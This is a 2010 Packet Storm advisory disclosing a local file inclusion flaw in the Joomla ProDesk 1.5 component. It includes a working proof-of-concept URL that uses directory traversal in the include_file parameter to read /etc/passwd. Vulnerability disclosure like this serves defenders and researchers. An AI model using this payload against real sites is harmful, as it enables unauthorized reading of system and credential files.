Joomla ProDesk 1.5 Local File Inclusion

2010-11-09T00:00:00
ID PACKETSTORM:95628
Type packetstorm
Reporter d3v1l
Modified 2010-11-09T00:00:00

Description

                                        
                                            `[~]-----------------------------------------------------------------------------------------  
[~] Joomla Component ProDesk v 1.5 (com_pro_desk&include_file) Local File Inclusion   
[~]  
[~] http://joomlashowroom.com  
[~]   
[~] Price - $ 49.99  
[~] ----------------------------------------------------------------------------------------  
[~] Bug founded by d3v1l [Avram Marius]  
[~]  
[~] Date: 7.11.2010  
[~]  
[~]  
[~] http://security-sh3ll.blogspot.com | http://twitter.com/securityshell  
[~]  
[~] ----------------------------------------------------------------------------------------  
[~] Poc :-  
[~]  
[~] http://site.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd  
[~]   
[~] Note :-  
[~]  
[~] Need: magic_quotes=OFF - Need: disable_functions=ini_set  
[~]------------------------------------------------------------------------------------------  
`